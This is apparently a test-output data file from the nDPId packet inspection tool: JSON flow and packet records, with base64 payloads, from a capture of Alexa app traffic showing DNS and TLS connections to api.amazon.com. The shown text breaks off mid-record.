+02409{"flow_id":64,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":874,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":601989,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcL21AAEAGKJmsECrYNFXR2NSiAbtfxH\/7fm1cpoAQAVuwpwAAAQEICgD2V4xtHVpCJD8HP7O0TemyLhYYhbzZr0LlyFz+6SkV4+PQ1YQZwmZoSJ2hJ\/GxCvJunQFsdqwNmsPdMFr2+Qx+tVabxEi34860RIkdRXO6D7ei7dRYF76+vH5Es9\/CD9tFmH\/Lo7Q8CaCkZzrxze31xmkeogHIKFSjqwncyUFBFeLLqJFvBORmPWqlhSt8z\/Qb9E6huMP9cEe4uBTNXPYhAhhPkyphfiVjRDZrMMpGbGs\/N23Nlc7aXzO4hay3O+HBY9lY5Gjt6ZEjINTOZeTTQ6PRGDFqtnm3uAoy1HCYJDPOYhCPza5+f+BMHBHOTnoHMz8YK+zHpEAhbx6h\/W+4ef29NvykpgLZ68\/5uUuKt8az1Pgj1qwqm618S\/Sphvsa1HNEwYzS+ibHBkiOb6N7+jCuvXEGcwGmlH3fLwWI3QpIRRjmYqcp\/xGC5PQobB8LDr5dTV7JHRa63YOql2NdREwmHVysjZnx9OTAkPmL\/tufhxLq+M90jM2R2hsTq\/vC4T15GkaD4BjNXGN7s8ejC0\/FtAIaYRu\/7TM12BKz9u19AdDso7Y2LXSeaVsM7\/BS++nNb8M6GHME+V1Xd\/dr8fmpHcoM6qKxtLcF6iwfa7zrVx\/EedillgMhx1XJFb\/N5yT6U3k4C\/1284Gqiq2sf4huADKzwTifbi7YAuBad3JS4+wYwHuol49wIrUGE2UdKE3ufoknNJoSOHInMb3nC6sW\/tevUclYksZeB3M+FnYWkwrXD4x95QZk+vaCIr3shusDlm27mVXQ5K0BwPL29OZjlFZ2KY1YH0FrgIHsoskKxix34KhBTWZ6uGiHo0XVJdOdIJPOP2Yc2dDds2U5desyzd+hJISG8RzFGcpDmh69xVf1B8lUazJw6vHvw\/1elbkiEqaJSP+ZBJ+IBWTFQnQMtEfngDlo7fqQysmLwR1+eO6b+zoI\/nFq+nCdwV7xRvK1auVkCbeLUCF+zZFqzNDsdugkDqqKzBp8rSalPC\/RKDkFb1T3CzXrK+sKoFRrQ\/NpGhnMlyXXusts5lXd4D1Me++gFcAT8xQmd7eJBkFJjx6CR8qQZ8ZlFyqo3Zka8MQ6H8rbhOsR+blD21uEy7MC7VEJGSbAq01othJVlnQLHReL237whGbb\/RCvjxA87PvANUhQp\/My6qM7L0tjAh8SM4i8\/eKAEGud331eE1EoHd6vIyuFcFkJnabEUPG\/kASdNaF+6wzRn8Ig2WE1PlXqDk8X5+ofIK9FAuBncALQkJOn1IXBI9IjbFLgv+VwbdoSdDit1zqGKSb1OqKryt9YRL7MiF3FTYwzWWymxAXwkuONI7niQUc9f75tpe3C4N7GNx+G2vP4+mRQMe96sIFwnv7\/XOQnfwtgsf6E9x8+rRpVfDhZamnDueEp1X2dy1DB\/6nnrxjM5WOIebwl1kuheIzr3vjlmNrIr+Qz9byqX727dZGUaPfanj0KGwq1\/+2M55KRUGg\/n9+t6vSoMBLPTdWljMWuNdrRHryavj8wRCJcskq0Q7d7\/d4sqeDpgVlfDOvRw9\/Kz4WQmS9nWrNG2tnouFT1mIN6lZOIjmXPmiVswqhahYXpkgVHDWWWltRDPfrz5Bn7SL\/zBDq+6E486dJWVWB7iu9bIqru349vM9jJseRJCtk17fB5a2tfkV+O4Tftt38RQ\/X5\/S8n1lZIIuie5TFRE3GJfQamc9dzrN1FDp5ENFUX43Sn55PmiVBCSAItQi9PKp2jQsLu7FksFTzknSjX1mTfseqd7Idf8KgyrjThbD5DEZuG3raq2TBSpW+2geHoi3bllEg7BAZEodbOpD3oelinSKFDuFXjzuD\/GklHNoPEk4CmZMV3pWCYCaBxQT5nBO2A\/iiE69RR44qvYpHIfqTEgg5HCujuGr8w\/ttB1fbr+93H3RbznNzeD6OwJ3lwExZieac="} +00535{"flow_id":64,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":875,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":602214,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"AMDKkaPvePiC0\/vCCABFAAB9L25AAEAGLfesECrYNFXR2NSiAbtfxIWjfm1cpoAYAVsWjwAAAQEICgD2V4xtHVpCHV3gIia2CWgSyfbYPu+UpzEX8Pq8sFJm4onhaXujCkHIO0rjwmWUxjcWlVLJnXWs1bBj\/DTlKho6HZhfmunvpP1pC42Z4ZJIpA=="} +02395{"flow_id":64,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":876,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":602369,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcL29AAEAGKJesECrYNFXR2NSiAbtfxIXsfm1cpoAQAVsX+QAAAQEICgD2V4xtHVpCFwMDEOAAAAAAAAAAAi55rGXgi56mNAtrnZzsfpeg0wLjPkGGxrvpt5ZfirFYqnhk36gXkT4fDN1FEdBa+4WbhI6T6SVRfK1uxYDQ7FGQejbiXou1lVwzGBhm9LLB0s2c68jt6fvhf5BYV0A0SIENEnwt7mpv0G8YLQzfSYhJubWmc20fq7CN7rROI99aTHH5RFaox0dk3rwwItMdekxXIouvSnUYjTPlewc1Sc\/JspWm9NfjKN\/kpp9JxAR\/CcSXeM8dryRszeD+0+OIIQ2cYrMvP1Rf0L2Qj3cicQ8JoxOtjaeeUnhmcDxgHr2BNQy8fLWEuqWIGoJLL6IwCPEd5DlurCb\/fSPrSqCICKxszUiTH6zGil8kXpmO9mam3vg5Uq6Hwb5VTi4DExUgCqJuQWHKM+p\/bSShwMuj+0peBJFZIIyB96jU2f1j3AAvkVXLqGH37m192QNsE86fsUoTim31UxabW50F\/M8mGDD1uGvCZUSZkBC\/OjM4eFhYBcsp3jyHbaQK9XOWQDfOHAh0H8F5IVx9MoR1aNhMZtHsYQMzIKfY7+Oxv9SUPGf3\/1L8dQMYlCQJjE7H5BdN\/Vb\/m1bhzKLXo7FBnwyXpXzcmFmD9bg+uSydrerAahQY1jQ9+Hsdh819WYDl+TKJsd+td7g0OPZ8XyyqPmQgSImRPcr\/SWhmU0y9u4c7a+yngfi6s28rgWpmGdOykzfVsgWAXU2\/p4dXzx09wKBJNMFJ0IDvCQav9iBZSIpLGvyRw6n+NropYTgJInJAN2xdjxCMk7BLhCN7OCUN9fOnbvWNbjoQvkLKqpW1+WxyDwCfuuL+eIqoGLxJczs8QnwPRpYvBGyHRGPmt16rOafLyAjZAKuJRDxzIE37HC3h5bA3FAG\/HxmLUG6ALqvREPCgG60ErADcC5nXNGlgatn9ifJLHw+Ez\/6FRbBIqhNPOc3iXFAbUkmLV7LGEJIxewwTjL8bHc5\/+XUgEH59usUFpf9JompJdFn\/w\/9Co\/VBwr4qXZXuj1fkFK+NEcl6JDYH4BxW27nFX6B+kttiICoru71eBZAwQfRCcXrsj61Fu1JBA48SDGHEBACwmfJ0VtM2NHCxsTd5ZZ05j7npGMxAIxuIwvE47Smwo3aO3tAOLfobaVpCP0Sdvd8pN1wM3HHQKIeirGf7E7ByJyyitSceXe7LR6OCfehwO9U1j0HwA60VKHBmRoQtxHVlWv69UQ+3V1kI7GYkRRfrPv9c8eeGqMKo5dJDlgiJGt0QVrw3DuXvlYZsnjaOxOatIgjNbnb0SJAJtX1oG5IJbeqo2zxCe83M\/QDkqphvC9CHyGEy6ttrZ3mJFbHZ9uIpOvoAHs\/bvUdWyERRpDmYxxkAXnBnyFi+mcyBBHnFZSY8sz5LCaGBdxxpCccr70ckDzvxJeSD8WPnmPezcDYtuzyO\/\/2tfdg2eMEPnR+epuMe7JApNxKZ2DwYxbfUjH4kKVZfIoomSae1vxE1sYatZExVH+sD8REEHS9+Y9Vpn2bVmz\/7j104CwnfH6SfQ3FbrAWDNhqoZbCgw5WuqXoj\/NapRxrSVlK0sCovHL0zw00lrA5++pWehy0iHmVYpPhJcqDolnnFxRPG62N9PvzBGlNDAW2wKZZSpFKnS7YCzke6qKEgiKZ8PQufZEY3s3EBL4D2lfh4XrCBshbwHbKpx1mjBFTiVBWmrIqueLpy1gIR1ev6V7wYie4VOT\/+qaNS+XhBPLDyLxPVwFPQyoj81P7306BXC1VnmO3fhYvZMjPGNGpuIk3IyrTGCXua0C0T3R+Y5s28TQlL6g+BRZviVd\/NrxNbT+eW53eiq3IMUrL5F8de58iMU4dBiMGqHZ0roTVkW34D9S9ja9KLUYc4Du3dYyHbx8DjQVmD3nxOqpF2+kuOeX5M5778TW9mnFjGatE="} +02404{"flow_id":64,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":877,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":603447,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcL3BAAEAGKJasECrYNFXR2NSiAbtfxIuUfm1cpoAQAVvGagAAAQEICgD2V4xtHVpCHSvFLP02i2EjE6Bz2rnFzJqFQblf5n\/ldDcKtoPJHJ\/VLJlp+sgU8GaXmngF\/QrXfk+S0fHnXRn2mVNtjv5hpFoDqIiBGRQYyQYDnCRbZvQNOgNKaCby8F7Sow0M042ZDx3Ogr\/ssg507Ueej3TZT2AnYJXR6e8kwRzTpBmJjHi52vdNf0sb8ZZGvIzsAPzHnhnqardvTxneKUmAeYCnMHI9R51BIz36YDZDqIZo0W9OnuysCaLupY8MaiZdy95MvqYeNpTDlUpUoZFwI2YFOs+rELc7a21Oh2A0Ht6L2S++j6RHiCjpY9BHN5wA4BlBkAYAztzEZjQ9pfDvHvg\/FejVI65lkmYMoZXfH9aMHFW3zntvvnSLyOyYEbig58DtImprboeymyw5loA9FnKWFE+JdgOdtGkmZXj3pvyrERQUGLLTVNwy7EZXbF\/lBTC\/5xGTqAa3a1JzPeO+7NNrxfusdNq4slGvOHtK9YC7vl9qWoJzCG9NRYyVSnf5eu7pNIxh3JEQE0RHC3JU0vrqSoWzPJo4wBKqI\/CYeP6JZfqKgCNwtWf6mf0gY4wQWHj6DAGLx2TFfaEO\/KgZEZXrcGT6GWXG9SAw+K11KHE5GtYPYLUicYMoeFUSwuJWTjksLWd04Es4EkuLoNGi4jBWGg+YiJVDJnx+RRatUwiDi1y85mG\/URGWvRVHXWLRZwGc0SP6YgS7xqQa7EdBSvK3rgQAfBfLzqssW0DmKPHWVfOyvzv5V2ZRZ4XdfdU2xFO5OJ31NIJjcgZgPvkVO4S6P\/FVlsdiuQX4\/EG6UYb\/AB27krGp19Oo4eMIG\/p7qix0TDPrUtA\/a+d529M+55L1KS8lH9iLwV2WAlLOchJqIKvGWReEZEX4Iw2P9h\/QRzDSsAqbysunGLiG0xCJYV9+5qW0pESbmAwUTBNBpuzbywNMN9q16XiA5NazdVQ4nUgmjfegoakFsVg1mB9nUGD\/RSj+mcW4yzMUNfcEH5xXw4BhuOVazW\/rNzJXyNhC5JlMR4K2QpoJOl6fdIumsv3KPQWLgvP\/UJzWpgNO3V46wI4KsMgfRfTQ6yRL4mf8s31UpIBHQHBfWtr\/e2yXR2Iv2c1eB+xiL8Eg0KdMqBeUbPlMcgXD9Ro7fzHp1EX7C1NOMTPcfoV5MBefsozd\/J++tmMt5WYyLxCUp2WKvMHCv342X3Jsv5NINtAEQTgKQeZkZYiFzQl92Nsi3XxdtmCAUAYrZZCLwzUxUzAwe\/353IQcYIjbBcHXDdVkh7whsD+R+FI8zBMRkLQuim7Qkyonj8iFPgE8bO9OlNJVihegnou8KfaVU9CKYo+sN59UWe3fX9zyJchn3Wly275LmHxNZQJEJQFPJsp+LzCixdEjKcMs7dOOfiNtPhbyMadXyGjU20JoZnNjaU\/VB7MdX9PiR02Va+jKTOaRb7WdZPgK0DdryPKDcsEqMmbuJH78sVQlQUUuTlJauaa2jw7J0RU303k3YzhjQwEouvKI8w4rWlO1f63suPB6X11x\/p4KtZfqdkhhsNuKRmwOBG+sxzRoKofHJhpqzPmobBeM6l8U0rQSQDv9x3lC\/jIr+Rth37yo\/KcAVv7FQn9vr6xtOES2wUSD0L61xjUggoPvNxpwaL1RcaIfWTwKF+Ey9Q7YPNjXHVnev5DJEVHe2+XCL6euo+P2APey+hjeCXjfPJZcma5MIrI6XAHJFUZUtQz9o\/a\/A\/+EGWEMaPPmfQpaYE\/tT+7JXD\/8gWKU5FSsf46Ca\/LvEgPIGrVVKwI2pdSmaN4M6LaG7TEKRN5csH53CNIyqooaMl8b7HnmiVBoQE9SxbxWVUwv\/Te\/6PLqpy6sHiDMt19+3JkW3PQ6XKCb9+kU8i4714wdkZ7ihd+aWoXmdKH60s89j+M1WFGDm+Z9XR72\/Xp7lUSCHs4="} +02368{"flow_id":64,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":878,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":603672,"pkt_caplen":1495,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1495,"pkt_l4_len":1461,"pkt":"AMDKkaPvePiC0\/vCCABFAAXJL3FAAEAGKKisECrYNFXR2NSiAbtfxJE8fm1cpoAYAVsjqQAAAQEICgD2V4xtHVpCFNFoCQXT2zXedVdl3AzzXtshIASdRyqzMPJ0ieb5GIh\/6qV7Ar6ClcCZIaQYSJGM\/Xx\/xQ8PxP8T\/lqsNBhwuvww5EBLM3H+we3nWV6Iz7AerpeWIYepLDzk\/s7f8zrAtGK1TkqM4F6EeqYQe4O4O3ZMQiHdTroliZnfBDSpKvBOJ3BWx+Uw2kKm1sXUrlkv30vO82d8J3VPsHo5mEpwO4+ny\/r\/XOlihhLqrdyzMq5lzd3ASFfaZDnntUwfteHAST5DF3PmbuotNAGIlKyXj\/hUeoH+Svd8ChLasG8eNUKHN9+GZ9iK626FAqX9CToxAF+97l8ky+5y4FVxm3+rlFG5R9y15xzYG3YCj3n2RbG4cMdLL9yYsBS8VrvzFuqL580RdVOKIcqQevcPC+zPVxb9cbnVfA2qhzg45IzWCjLkafu2USof4br1XtznRJlhPrz1yvpWpDK8lJgejlXd1O3FhbuIjxKAUamUycz4fNGK1JzhkiC6k0TWFSW4H5RVr\/iZ7tZWWEdpImO957nAmsmoan6GKzcsWXPOKovLYkqroacpNA8tCaGTaAHgfb0HiusBxObegUPAB5KGg9S91XsUNBwyk7F8qgFwOYGQevhUomDwigu\/zj9KOgv0ZB+w89tg77NVZmqaOSkd0k7qHNTCUUmK2gbnT8SlYdVeBDe3iK\/vk79uSteS46Bxcv4110O\/f3Qe\/hGu3ITWDNQKfvMDQCFRWovTxIDxAUL408eb3XkX6I5N9LA8KyE2UAIqoOpv3Q+D2ElPTYvV3j2SxyAOKhbQZav5cr7pvoGCZpSya8p63EONJ890a4+2FJAdWLTc3R3MLtEE5noGwDnefNtSHDlT5LC7IEcqSbbNfYRvfDAPSInA5q56SYhoA1YQq8YZuPeMvkMngje20FEy0KpREjWf5BSG810\/QGNhRUn8SHgIir35kISCLvNtZBX70I7AC4O6agb4at6RDuKYbCoaqUnzqomi0AKOvzVGeENgrxvC6ZH7+jncKkxCamigGeDBKdus2a1pBFOlh8RkCsPr7ZfWwOXOrBL64ioLQK\/c07zpbIy3IwmQoMtL6KovdV7uPXBnFPOi1Lmefj6eQD2HfPgbt4hE47tXg6jHJmztjkSl\/H6o3RFIm8pZed+nxyutCk73f\/L6nAyVgzFhdbhAugkUo+ESUZwpBaI+WOKCpnZLBoxHzweUrec1ed1yYkPr3E4pFJBk9RiS8wwozsT1liQCyZEXIA0ToglxknbjRw0M9Bn6a8+H46EUcieFvfAnhMyCdUtyhyq2ZG6masyxvvD1uT3f26AvjDvI1CZrpPYELynYjAvnlYybBrQVzE\/JSx33BMOLI632ra8qnIIq6Zd3lK1AFT69DULtFPSPXeD6OVFfByxuYSyCh+Uuu2kjZfsGPhRdcsVDJWLyK6fOYBQ93GOX\/jPhy8U3T4VCvOWvPlvyLK3kvd0QOoPc1zGF1R9kezZsiSF63yFT8CxIOZXHqlH6dONN8F2zbcyN4JRiBcGHtw\/sTdc5zhYDjjP8KH1dSdbe6H6ZEcVazZd78b2pDAIDNcbUVoEpkYQR9G1RG1YOLQZKvA5Q37nxGdYRqN4O5sZ5h9qkP9uZS5l7GIO+hXuNcygIsGDyR2ytiIyl0Mtw00tfxtezRnwjqGdTMAQSyNPqMZTQ7E3y5Il+Kl+nHXpfFW55GilJCM09gKS6GVKgXs1nVk9isjCdU5ST4JeMTIF568bOYt6hQvLWIDuHOYQy5Ak2NKyHtA2aS8a63AzrofsZ6qLBBH8lZQ2prNO3W4t\/KNPBXkQDg+c+v0l5+TzNtkqLobZQfzfK2waBXVu0AS2lHXxpptFP\/F7R65y4eyeZDPublC8ZDZdBrThTWwYefSaTV3Lki\/OhVHRRUA=="} +00432{"flow_id":64,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":879,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976064,"pkt_ts_usec":675594,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0Bk1AAPMGpGA0VdHYrBAq2AG71KJ+bVymX8R\/+4AQAIHoDAAAAQEICm0dWkoA9leK"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":898,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1490976067916,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":60804,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":898,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976067,"pkt_ts_usec":916709,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8WlhAAEARM1+sECrYrBAqAe2EADUAKHojSVQBAAABAAAAAAAAA2FwaQZhbWF6b24DY29tAAABAAE="} +00641{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":898,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1490976067916,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":60804,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"api.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00462{"flow_id":65,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":899,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976067,"pkt_ts_usec":965373,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"ePiC0\/vCAMDKkaPvCABFAABM1zdAAEARtm+sECoBrBAq2AA17YQAOOTBSVSBgAABAAEAAAAAA2FwaQZhbWF6b24DY29tAAABAAHADAABAAEAAAAsAAQ27x2S"} +00667{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":899,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":65,"flow_packet_id":2,"flow_first_seen":1490976067916,"flow_last_seen":1490976067965,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":40,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":60804,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"api.amazon.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.239.29.146"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":900,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1490976067968,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.146","src_port":41691,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":900,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976067,"pkt_ts_usec":968666,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8kvdAAEAGfFusECrYNu8dkqLbAbtu3MorAAAAAKAC\/\/\/lJAAAAgQFtAQCCAoA9ljcAAAAAAEDAwg="} +00426{"flow_id":66,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":901,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976068,"pkt_ts_usec":61060,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw1NlAAOcGk4Q27x2SrBAq2AG7otunydf3btzKLHASH\/7bQAAAAgQFtAEDAwY="} +00413{"flow_id":66,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":902,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976068,"pkt_ts_usec":64020,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAokvhAAEAGfG6sECrYNu8dkqLbAbtu3Mosp8nX+FAQAVclsgAA"} +00714{"flow_id":66,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":903,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976068,"pkt_ts_usec":66460,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":275,"pkt_l4_len":241,"pkt":"AMDKkaPvePiC0\/vCCABFAAEFkvlAAEAGe5CsECrYNu8dkqLbAbtu3Mosp8nX+FAYAVdqyAAAFgMBANgBAADUAwMdKoGNaOtWl2eYW4si+Xi4wmWhQDuns4mF\/nWjaB0YoAAALMArwCzAL8AwAJ4An8AJwArAE8AUADMAOQAyADjAB8ARAJwAnQAvADUABQD\/AQAAfwAAABMAEQAADmFwaS5hbWF6b24uY29tAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAAAADQAgAB4GAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgM="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":903,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":66,"flow_packet_id":4,"flow_first_seen":1490976067968,"flow_last_seen":1490976068066,"flow_tot_l4_data_len":329,"flow_min_l4_data_len":20,"flow_max_l4_data_len":241,"flow_avg_l4_data_len":82,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.146","src_port":41691,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api.amazon.com","ja3":"bdf21e38e1f69776df407235625e75e2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00423{"flow_id":66,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":905,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976068,"pkt_ts_usec":158441,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo2FJAAOcGkBM27x2SrBAq2AG7otunydf4btzLCVAQf\/ymLwAAAAAAAAAA"} +00423{"flow_id":66,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":906,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976068,"pkt_ts_usec":160303,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoZIRAANsGD+I27x2SrBAq2AG7otunydf4btzLCVAQf\/ymLwAAAAAAAAAA"} +02382{"flow_id":66,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":907,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976068,"pkt_ts_usec":174408,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcZIVAANsGCi027x2SrBAq2AG7otunydf4btzLCVAQf\/xyoAAAFgMDAFkCAABVAwONMI8Iyv63AmFuDSfP\/0yielu7UE\/K6u6ZLOsVNCLwziBiAQrU5aukfZwJZmh36dxzlH1Ac\/uz51RcEmA3y0NT68AvAAAN\/wEAAQAACwAEAwABAhYDAwtECwALQAALPQAF+zCCBfcwggTfoAMCAQICEEHOGuM8VS7R2sIvlXez2y4wDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjA5MDUwMDAwMDBaFw0xNzA5MjMyMzU5NTlaMGgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApXYXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRkwFwYDVQQKDBBBbWF6b24uY29tLCBJbmMuMRcwFQYDVQQDDA5hcGkuYW1hem9uLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKHJ3Pb5twdq2w41cJul8CLJbEA6UwYYsIktXfpEB0XIrWz3Lov2BDKoQ4eKM8IJXLcYjjiBDYAECriL1o5yUM7fvewij\/uUus3k6+t+3UH41jCAumPiKVrw0kxY6cQB4aDPS5SCZlaMw9dmCxwD0\/hE8Im18n2E8y6QaPYLMWQykmoFR1vwcqIU8sx74fS5EZruGZQXV5SFbXJyatXlzhyIp98bl2QsM+P43QhpE5oS2wp21m1CoTBZLGyvfC70Okq9J\/JFNykC88x6pWo3ztca98ZHcaE8mAlz2PfiZDrA8VwNpqXi0QtgNjg+xAKJyQlLPAkcNtVoxsFjiDaOePMCAwEAAaOCAoUwggKBMDUGA1UdEQQuMCyCDmFwaS5hbWF6b24uY29tghp3c3luYy51cy1lYXN0LTEuYW1hem9uLmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2D